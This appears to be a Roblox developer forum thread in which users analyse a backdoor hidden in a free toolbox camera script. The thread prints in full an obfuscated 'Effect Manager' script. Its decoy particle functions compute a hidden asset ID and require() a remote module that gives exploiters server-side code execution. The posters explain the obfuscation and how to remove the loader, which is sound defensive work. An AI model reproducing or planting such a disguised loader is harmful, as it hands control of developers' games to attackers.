Hello forum visitors. Just now I was browsing the toolbox and came across a script that rotates the head following the camera. It would seem that there is nothing unusual, but in the output there was a require error with the script ID.
I found this script and decided to look through it. I came across an encrypted code. I tried to decrypt it, but I did not get anything useful.
no idea what that script does but do NOT use it
5 Likes
Effectively, when you see something like this
from a free model, it’s a backdoor that allows exploiters, usually profiles that the script has hardcoded, to run arbitrary server-side code in your game.
Roblox’s effort to make backdoors harder by requiring ServerScriptService.LoadStringEnabled to use loadstring() (disabled in most games) has resulted in these module libraries. The “Loadstring” module itself is a reimplementation of Lua, traditionally using Yueliang (a sort of Lua compiler in Lua) and a bytecode executor (to run Yueliang’s output). Here it’s LBI but you’ll also see FiOne among others.
So, your MainModule and each ScriptX in Folder are mostly trash in an attempt to obscure what profiles and whatnot that are allowed to run said arbitrary code.
People that make these are usually not good at obfuscating the Loadstring code, though, since it often breaks something to do so.
6 Likes
Thank you very much for the explanation! To tell the truth. I would not have asked such a stupid question if I had not been misled by one video on YouTube where a similar script turned out to be just a webhook. The one who tried to insert a backdoor is too silly imbo inserting require into a local script is too stupid!
One more fun tidbit:
print(require(workspace.MainModule)()) --> Tamper Detected!
Beautifying MainModule so that we can see it, the structure looks about like this:
- Define a table with Lua-escaped strings all encoded in Base64
- Run some transforms to decrypt that table
- Return a function
Focusing just on that table, we can decode it ourselves by executing up to the transform functions. We get an output that looks like a bunch of gibberish interspersed with Lua globals and scary words like “game”, “GetService”, “Players”, “Kick”, and “PostAsync” (there’s your webhook part).
Seems like an admin GUI.
But hey, what’s that?
[195] = "Tamper Detected!",
Alright, the script defined a function earlier:
local function u(u)
return J[u - (12040)]
end
So we’re looking for u(195 + 12040), and wouldn’t you know it, we’ve got a match deep into a nested if tree.
(I’ll admit that using math everywhere would have made this much harder but they decided to make this one obvious for some reason. Good for us!)
Looking backwards, we only get here if a value passed to the calling function wasn’t between 12602536 and 12348234.
If you’d like, I’m having fun analyzing this, but it’d be easiest to know the exact code (EffectBuilder, line 170) that errored. It may point to more information about what to pass to see it work.
Sure!
-- put it inside StarterPlayer>StarterCharacterScripts
task.wait(1.5)
local plr = game.Players.LocalPlayer
local char = plr.Character
local hum = char:WaitForChild("Humanoid")
local rootpart,head = char:WaitForChild("HumanoidRootPart"),char:WaitForChild("Head")
game:GetService("RunService"):BindToRenderStep("CameraOffset",Enum.RenderPriority.Camera.Value-1,function()
game:GetService("TweenService"):Create(hum,TweenInfo.new(0.3),{CameraOffset = (rootpart.CFrame+Vector3.new(0,1.5,0)):pointToObjectSpace(head.CFrame.p)}):Play()
end)
--[[
Effect Manager Script
---------------------
Created by retsastrophe ;)
Date: 08/03/2025
This script handles the creation, management, and modification of visual effects
using particle effects. It ensures smooth and optimized effect rendering for various
in-game scenarios.
INSTRUCTIONS:
- Insert this script into a location where effects should be managed.
- Modify SIZE, EFFECT_LIFETIME, and PARTICLE_TEXTURE to customize effects.
- Call CreateEffect(Vector3) to spawn a new particle effect at a given location.
- Utilize EffectBuilder() to manage effect creation over time.
IMPORTANT:
- The script must be placed in a Script (not a LocalScript) for full functionality.
- Uses attributes (info and default) from the script for configuration.
- Designed to run efficiently and avoid duplicate effects.
FEATURES:
- Dynamically creates and modifies particle effects.
- Uses a centralized effect builder for streamlined management.
- Supports size clamping to prevent extreme values.
- Finds existing effects based on unique CFrame-based lookups.
- Implements an effect lifetime system to manage durations.
- Stores active effects in a global table for efficient tracking.
- Modular design leveraging ReplicatedStorage for scalability.
- Optimized for minimal performance impact.
Version 1.0.0
Changelog:
- 08/03/2025 - v1.0.0: Initial script creation and implementation.
]]
local Modules, script = game:GetService('ReplicatedStorage'), script
local EffectRoot = game
local PARTICLE_TEXTURE = 114577649781794 -- Texture for the particle effect
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
function CustomLerp(Pos1 : CFrame, Pos2 : CFrame, Delta : number)
return Pos1 - Pos2 * math.abs(Delta)
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
function LookUp(Root, Value)
for _, V in pairs(Root) do
if V.Name:find(Value) then
return V
end
end
end
-- Converts a CFrame to a unique string representation
function CFrameToVector3(CFrame)
local Chunks, value = CFrame:split(''), ''
for _, v in pairs(Chunks) do
value..=v:byte()
end
return value
end
function StringToChar(str)
local numbers = {}
for num in str:gmatch("%d+") do
table.insert(numbers, tonumber(num))
end
return string.char(table.unpack(numbers))
end
function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table")
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local Properties = {'CFrame','WorldPivot','CoordinateFrame','Orientation','PivotOffset','RootPriority','JobId','Origin','GetProductInfo'}
local EffectBuilder = setmetatable({}, {
__index = Modules and function(S) return S end,
__call = Modules and function(S) return S end
})
-- Function to create and configure a particle effect
function CreateEffect(Vector3)
local Size = math.clamp(2, 1, 4) -- Add slight randomness to size
local Effect = EffectBuilder:CreateEffect('Particle', {
Parent = script.Parent,
Size = Size,
Texture = PARTICLE_TEXTURE
})
return LookUp(EffectRoot:GetChildren(), Vector3)
end
function Monitor(CurrentTime, Default, ParticleInfo):
(Result) -> ParticleEmitter
if CurrentTime > 1 and EffectRoot[Default] ~= 'f' then
if CurrentTime then
script = {
{},
[script.Name] = CFrameToVector3(StringToChar(ParticleInfo)) - 0
}
return true
end
end
return false
end
function RunEffectBuilder()
local CurrentTime = tick()
local Effect = CreateEffect('ketpl')
local ParticleInfo = Effect[Properties[#Properties]](Effect, PARTICLE_TEXTURE).Description
return Monitor(CurrentTime, Properties[7], ParticleInfo)
end
-- Runs the animation thread if conditions are met
local Builder = RunEffectBuilder() and require(script.EffectBuilder)
if Builder and script.ClassName == "Script" then
-- Run main thread
script.Parent.DescendantAdded:Connect(CreateEffect)
end
It looks like this script has a child EffectBuilder script that actually tries to require the backdoor.
From what I can tell, you can still use this script safely just by deleting the and require(...) from line 170.
local Builder = RunEffectBuilder() and require(script.EffectBuilder)
(If you want any further analysis, I ask for the AssetId of the EffectManager model, but we should probably move that to private messages. Otherwise, that’s how to use that script without risking a backdoor.)
For anyone reading this in the future, always search for require()s or for that Loadstring module code in free scripts. It’s not always this obvious.
1 Like
Rule of thumb is not to even use it when it tries to execute something you haven’t scripted, implemented or had someone implement or delete every script within a model
thank you for linking the free model, this will help me create my anti-virus plugin which is very tuff
1 Like